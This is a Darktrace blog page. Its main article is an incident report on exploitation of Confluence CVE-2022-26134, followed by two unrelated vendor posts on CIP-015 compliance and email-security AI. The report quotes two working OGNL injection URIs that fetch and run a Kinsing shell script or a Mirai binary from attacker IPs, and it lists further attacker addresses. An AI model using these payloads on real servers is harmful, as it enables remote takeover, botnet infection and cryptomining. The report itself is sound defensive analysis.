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June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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12
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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May 26, 2026

The CIP-015 Countdown: What Utilities Should Be Doing Before October 2028

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CIP-015 what you need to know

The electric sector already knows CIP-015 is coming. The better question is whether utilities are using the time before October 1, 2028 to build an Internal Network Security Monitoring program that is defensible, auditable, and operationally useful.

I have spent most of my OT cybersecurity career around the power sector, from early NERC CIP program work as an asset owner, to consulting with utilities ranging from small municipalities and rural cooperatives to some of the largest power companies in the country, to now working with technology that helps organizations improve visibility and detection across IT and OT. One lesson has been consistent across all of those roles: compliance is not just about having a control in place. It is about being able to prove the control works.

That is where CIP-015 becomes important.

The standard is not simply asking utilities to deploy a tool inside the Electronic Security Perimeter and call the job done. CIP-015 is about improving the probability of detecting anomalous or unauthorized network activity so that organizations can improve response and recovery from an attack. That purpose is directly stated in the standard itself. (NERC)

The real work between now and October 2028 is not just buying technology. It is building an INSM capability that can collect the right data, detect meaningful activity, support evaluation, retain the right evidence, and protect that evidence from unauthorized deletion or modification.

Why CIP-015 exists

CIP-015 exists because perimeter security alone does not solve the internal visibility problem.

For years, many CIP controls have focused heavily on access management, segmentation, patching, logging, training, and other security practices that help reduce the likelihood of unauthorized access. Those controls still matter. But they do not fully answer what happens after an attacker, insider, compromised vendor account, misused credential, or malicious activity is already operating inside a trusted environment.

NERC’s technical rationale explains that Internal Network Security Monitoring focuses on the collection and analysis of network communications inside a “trust zone,” such as an ESP. In other words, CIP-015 is not only about defending the edge. It is about understanding what is happening inside the environment once traffic is already within the trusted zone. (NERC)

That is the internal visibility gap utilities need to close.

Why traditional security monitoring does not fully satisfy CIP-015

One mistake utilities should avoid is assuming that existing security event monitoring automatically solves CIP-015.

Many organizations already have logging programs tied to CIP-007, SIEM use cases, host-level security events, authentication logs, malware alerts, and incident response workflows. Those capabilities remain valuable, but they are not the same as Internal Network Security Monitoring.

Security event monitoring often tells you what happened on or to a system. INSM is intended to help show what is happening between systems, across network communications, devices, connections, and internal traffic patterns. That distinction is especially important in OT environments where adversaries may use legitimate pathways, valid credentials, native protocols, remote access, engineering workstations, or trusted systems to move inside the environment.

CIP-015 pushes utilities toward a different level of visibility: not just “did a system log something,” but “can we see and evaluate anomalous or unauthorized activity occurring inside the ESP?”

What CIP-015 requires

At a high level, CIP-015-1 requires three core capabilities.

Requirement R1: Monitoring internal network activity  

First, under Requirement R1, Responsible Entities must implement, using a risk-based rationale, network data feeds to monitor network activity, including connections, devices, and network communications. They must also implement one or more methods to detect anomalous network activity using those feeds, and one or more methods to evaluate detected anomalous activity to determine further actions.

Requirement R2: Retaining INSM data for investigations

Second, under Requirement R2, entities must retain INSM data associated with anomalous network activity at least until the related evaluation and action are complete. The standard also notes that entities are not required to retain INSM data that is not relevant to detected anomalous activity.

Requirement R3: Protecting monitoring data from tampering

Third, under Requirement R3, entities must protect INSM data collected for R1 and retained for R2 from unauthorized deletion or modification.

Those requirements may sound straightforward, but implementation is where the challenge begins.

What should utilities be asking themselves for CIP-015?

  • Where are we collecting network data inside the ESP, and why are those feeds defensible?
  • What methods are we using to detect anomalous network activity?
  • How do we distinguish meaningful anomalous behavior from normal operational change?
  • Who evaluates detections, and how are decisions documented?
  • What data is retained, and how is it protected from unauthorized deletion or modification?
  • Can we produce evidence that proves this process has worked over time?

Those answers matter because auditors will not be looking for marketing claims. They will be looking for evidence.

Why anomaly detection is central to CIP-015 compliance

One of the most important parts of CIP-015 is also one of the easiest to oversimplify: the word anomalous.

NERC’s technical rationale provides useful context. It explains that, as used in CIP-015, “anomalous” refers to unexpected, undesired, unusual, or undetermined network traffic. It also makes clear that the term does not refer to any single proprietary technology commonly marketed as “anomaly detection.”

Understanding static baselines vs true anomaly detection

A static baseline is not the same thing as meaningful anomaly detection. If a platform observes traffic for a limited period of time, assumes that observed behavior is “normal,” and then flags future deviations without deeper context, the result can be noisy, brittle, and operationally frustrating.

In real OT environments, “normal” is not fixed. Maintenance windows, vendor access, failovers, engineering changes, testing activity, backup jobs, and operational shifts can all change behavior. Detection has to keep learning and understand context. Otherwise, the organization may end up with alerts that are technically anomalous but not practically useful.

CIP-015 is not just about producing anomalies. It is about producing meaningful detections that can be evaluated, documented, and acted upon.

What should utilities consider when looking for anomaly detection tools

Some technologies were built around behavioral analysis and anomaly detection long before CIP-015 existed. What practitioners should look for is if the technology behind the phrase can identify meaningful deviations, provide context, reduce noise, and support the evaluation and evidence expectations of the standard.

Utilities should be cautious of vendor positioning that treats “anomaly” as a simple compliance keyword. This is especially important when evaluating tools historically built around signature-based, threat-based, or rule-based detection methods that are now being positioned as anomaly detection because CIP-015 uses the term.

A platform does not solve CIP-015 simply because it can baseline traffic or generate alerts when something changes.

The question is not: Can this tool create alerts?

The question is: Can this tool identify meaningful anomalous activity with enough context, prioritization, and evidence to support evaluation and response?

Why evidence and audit readiness matter for CIP-015

In NERC CIP, the control is only part of the story. Evidence is the part that proves the control existed, worked, and was followed.

That is why CIP-015 readiness should not be treated as a simple deployment project. It should be treated as a compliance operations and evidence program.

What auditors will expect utilities to prove

For R1, examples of evidence include documentation of network data feeds and the risk-based rationale for selecting them, anomalous network detection events, INSM configuration settings, communication baselines or other detection methods, methods used to evaluate anomalous activity, and actions taken in response to detected anomalies.

For R2, evidence may include documentation of the retention process, system configurations, or system-generated reports showing retention timelines sufficient to support evaluation. For R3, evidence may include documentation showing how INSM data is protected from unauthorized deletion or modification.

Common evidence gaps that can create compliance risk

If an entity implements a platform that generates noisy detections, lacks context, does not retain the right data, cannot demonstrate how data is protected, or cannot produce useful audit evidence, the issue may not become obvious until much later. By then, an organization may discover during an audit that it cannot prove what it thought it had implemented.

That is a bad place to be.

CIP evidence gaps can create exposure that goes back over time, not just to the day the audit finding is discovered. This is why utilities need to validate the process early. Do not wait until an audit cycle to find out whether your INSM approach can stand up to scrutiny.

How utilities should prepare for CIP-015 before 2028

October 2028 may sound far away, but in utility planning terms, it is not.

Utilities should already be moving through a structured readiness process.

Assessing internal network visibility across trusted environments

Start with scope. Identify the applicable High and Medium Impact BES Cyber Systems, the relevant ESPs, and the environments where INSM requirements will apply. Then map current visibility. Where do you already have useful network monitoring? Where are you relying mostly on logs, perimeter controls, or assumptions? Where do you have limited east-west visibility inside trusted environments?

Building a defensible network data feed strategy

Next, define the network data feed strategy. CIP-015 requires a risk-based rationale, so the organization should be able to explain why specific feeds were selected and how they support detection of anomalous activity across relevant connections, devices, and communications.

Validating anomaly detection workflows

Then validate the detection method. This is where utilities need to go deeper than vendor claims. Ask how the platform identifies anomalous activity. Ask how it reduces noise. Ask what context is provided for evaluation. Ask how it handles changes in normal operations. Ask what evidence is retained and how that evidence can be produced.

Testing evidence retention and protection processes

After that, build the evaluation workflow. Who reviews detections? How are anomalies classified as benign, abnormal but not suspicious, suspicious, or potentially malicious? When does an event move into CIP-008 incident response? What documentation is created during that process?

Finally, test evidence production. Utilities should be able to show detection records, configuration settings, evaluation notes, response actions, retention records, and data protection controls before an auditor asks for them.

Where Darktrace Fits into CIP-015

This is where technology matters, but only as part of the broader program.

Darktrace was built on self-learning anomaly detection long before CIP-015 created a new compliance driver around anomalous network activity. Its value is rooted in continuous behavioral understanding, multiple analytical techniques, and the ability to identify meaningful deviations across complex IT and OT environments. That matters because CIP-015 requires more than basic alerting. It requires detection that supports evaluation, evidence, and action.

This IT and OT visibility is especially important in power utility environments. High and Medium Impact environments are not made up only of industrial protocols and field devices. Control centers, operational workstations, engineering workstations, servers, remote access systems, domain services, printers, and other enterprise-class assets often sit inside or adjacent to critical operational environments. A useful INSM capability should understand a wide range of communications across both IT and OT, not only traditional industrial protocols like Modbus, DNP3, or IEC 61850.

That distinction matters because “protocol support” can mean very different things. Identifying that a protocol is present is not the same as performing deeper packet analysis that can provide behavioral context, richer protocol understanding, and meaningful detection across the communications actually used inside the environment. For CIP-015, utilities should be asking whether a platform can help evaluate activity across both enterprise and industrial communications, because real power utility environments are rarely “OT-only.”

This is also why utilities should look carefully at how vendors use the word “anomaly.” Some platforms were designed around behavioral understanding and anomaly detection long before CIP-015 created a new compliance driver. Others may now be adopting the language because the standard uses the term. The difference matters. Utilities should ask whether the platform’s detection approach is foundational to the technology, or simply a new label applied to existing signature-based, threat-based, or rule-based methods.

In OT environments, detection quality matters. Utilities do not need more noise. They need visibility into internal communications, confidence in what is normal, context when something changes, and prioritization that helps security and operations teams focus on what matters.

A strong INSM program should help utilities move from raw monitoring to operational confidence. It should support east-west visibility, better anomaly evaluation, defensible evidence retention, protection of monitoring data, and alignment between compliance and security outcomes.

That is the right way to think about CIP-015.

Not as “deploy a tool and move on.”But as “build a capability that can be trusted, operated, and proven.”

CIP-015 is about proving your INSM capability works

The CIP-015 countdown is real, but the countdown itself is not the whole story.

The real story is what utilities do with the time that remains.

Organizations that treat CIP-015 as a checkbox may be able to say they deployed something. But organizations that treat it as an opportunity to close the internal visibility gap will gain something much more valuable: better detection, better response, better evidence, and stronger operational resilience.

The question utilities should be asking now is not whether they can produce more alerts before October 2028.

The question is whether they can prove their INSM capability actually works.

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About the author
Jeffrey Macre
Principal Industrial Security Solutions Architect

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May 26, 2026

Journey of a Threat: How Multi-Layered AI Works in Darktrace / EMAIL

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Darktrace / EMAIL is an implementation of the Darktrace methodology – a multi-layered AI system built into a single product. As with other Darktrace products, Darktrace / EMAIL learns the expected behaviours of an organization and its employees to identify novel threats and anomalous activity.

The diagram below represents the architecture of Darktrace / EMAIL’s multi-layered AI: a structured visualization of how intelligence is built, step by step, from raw data to actionable insight. Each layer plays a distinct role, feeding into the next: collecting data, understanding behaviour, analysing intent, making decisions, and presenting clear outcomes.

It all starts with an email

In this blog, we’ll follow a malicious email as it passes through the Darktrace / EMAIL system, showing exactly what happens as it travels through each layer of the pyramid, from basic data extraction to AI-powered metric creation, and finally deciding on any autonomous actions.

Let’s take this example email. As an end-user, you can see that this is an obvious extortion attempt where an adversary is threatening legal action if money isn’t paid within 24 hours, but how does Darktrace figure that out?

Part 1: Data Gathering

Processing of an email begins on point-of-transit for all inbound, outbound, or lateral emails. The first step is to extract information directly. This includes taking information from the headers (such as sending and receiving addresses, sender IP address, routing, and authentication protocols), as well as extraction of raw HTML and CSS data from the email itself.

This directly extracted information only allows for immediate surface level analysis, such as identifying signature-based attacks (known malicious addresses / domains), but is insufficient for identifying novel threats, complex attacks, or potential email or vendor compromise. This is where Darktrace’s AI analysis shines.

In this example, the SPF, DKIM, and DMARC authentication all passed successfully, showing that even malicious emails can still bypass these signature-based checks. Even with this success, Darktrace will continue to analyse the email.

Diving deeper into the technical information, we can see further information extracted from the headers, including aggregations from the header information, historical calculations such as the frequency and volume of emails to and from a particular domain, and much more.

Part 2: Social Graphing

Social Graphing involves the analysis of sending and receiving behaviours of different mailboxes to create peer-groups. Mailboxes who often send and receive to and from the same mailboxes, or exhibit other correlated behaviours, will be clustered together using a collection of unsupervised AI clustering systems. These groups may represent uses in the same teams who perform similar activity, groups of external facing mailboxes which often receive unsolicited emails, or groups of VIP users (such as C-suite or executives).

Social graphing is an essential component of Darktrace’s pattern of life analysis. This clustering allows Darktrace to understand the responsibilities of individuals – for example, behaviours which are anomalous for one group of users may be completely expected of another group.

In our example, the email was sent to 3 different users within the organization. As part of the social graphing, an “Association Anomaly” is calculated which indicates the likelihood that these users would receive emails from this user or domain, based on historical patterns.

Part 3: Metric Calculation

Metrics are calculated for every email, representing more complex characteristics of an email which can’t be directly extracted. Darktrace / EMAIL features over 1000 unique metrics, calculated both algorithmically and using an ensemble of AI systems.

Algorithmically calculated (non-AI) metrics include further historical calculations, and counts of features such as code blocks, and hidden text, to name a few.

AI-driven metrics include Inducement Classification which uses Natural Language Processing to identify potential phishing, solicitation, or extortion attempts; Named Entity Recognition to identify PII and other sensitive data within an email to support Data Loss Prevention; and many more.

We can follow our example email through this process and view the outcome of these metric calculations. Looking at the language metrics for this email, we can see that our email has reported a high extortion inducement, along with identification of banking information and language indicating urgency.

Part 4: Evaluation and Combination Engine (models)

Once all metrics have been calculated for an email, it gets sent to an evaluation and combination engine where the metrics are compared against blocks of logic to determine if an email contains a threat. One key model which alerted for this example message was a model to tag and block extortion attempts.

Since our example email has a high inducement score for extortion, along the presence of a bitcoin wallet address in the message, this model alerts. When a model in the engine is activated, actions are taken – in this case adding a tag to the email to flag it as extortion in the console and hold the email to prevent it from reaching the end-user mailbox.

Part 5: Meta-Modelling and Actions

Once the models have been run, the actions are taken against the email. If the email hasn’t been blocked or held, this is the point where it will reach the end-user's mailbox.

In the Darktrace / EMAIL UI, all actions models which alerted for an email and actions taken as a result can be seen. At the top of this page, you can see the alert indicating an extortion attempt along with the action to hold the message.

Alongside this, a meta-classifier is used to calculate an overall anomaly score for each email, based on how much the email differs from the pattern of life for the user. The score of the email is boosted by any actions that have taken place.

Part 6: Campaign Clustering

All emails are passed through the Darktrace / EMAIL campaign clustering system. This system creates clusters based on related features within the emails to identify groups of emails with the same sender or intent.

In our case, the email was identified as part of a campaign, alongside other emails which were also identified as extortion attempts against a small group of recipients.

Email campaigns may have additional actions applied to them if the campaign is deemed malicious, and in this case, you can see that the autonomous response was to hold all emails in the campaign. This means that if an email manages to avoid being blocked in the evaluation and combination engine but gets identified as part of the campaign, the hold action will be applied to it retroactively.

Part 7: Cyber AI Analyst

Darktrace’s Cyber AI Analyst presents key information and anomaly indicators for each email, such as further information about authentication, specific metrics, or other identified anomalies and mismatches.

Cyber AI Analyst can also utilize data from Darktrace / EMAIL to enhance its investigation of incidents from other Darktrace products, correlating relevant information to build a fuller picture. More information about the Cyber AI Analyst is available in the Darktrace AI Arsenal.

Part 8: Data Presentation (UI)

Once all processing has taken place against the email, it is presented in the Darktrace / EMAIL UI. Here, members of the SOC team can investigate incidents and anomalies, interact with malicious emails to see why they were blocked, and much more.

Our email stands out here with its 100 anomaly score. Every email which passes through a Darktrace / EMAIL will undergo the same thorough and rigorous analysis to identify potential risks, apply autonomous actions where required, and will ultimately be assigned a score to be displayed here. By providing a single overall score in the UI, rather than presenting emails in full, Darktrace / EMAIL allows SOC teams to more easily identify which emails are most important to investigate, increasing efficiency and reducing alert fatigue.

Take the next step

Many email security tools on the market that claim to be AI-driven are in fact bolting AI onto attack-centric approaches, which rely on automating the identification of known threats. These approaches struggle, and will continue to struggle, with adapting to novel, AI-generated threats.

By analyzing every email within its deeply integrated, multi-layered AI system, Darktrace / EMAIL is able to identify the subtle threats that others miss. This depth not only improves detection accuracy, but enables confident, autonomous action, giving security teams clearer insight into AI outcomes and greater control while supporting users.

For a full deep dive into each stage of the AI system, check out the white paper: A Guide to the Multi-Layered AI in Darktrace / EMAIL

Learn more about securing AI in your enterprise.

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About the author
Jamie Bali
Technical Author (AI) Developer
Your data. Our AI.
Elevate your network security with Darktrace AI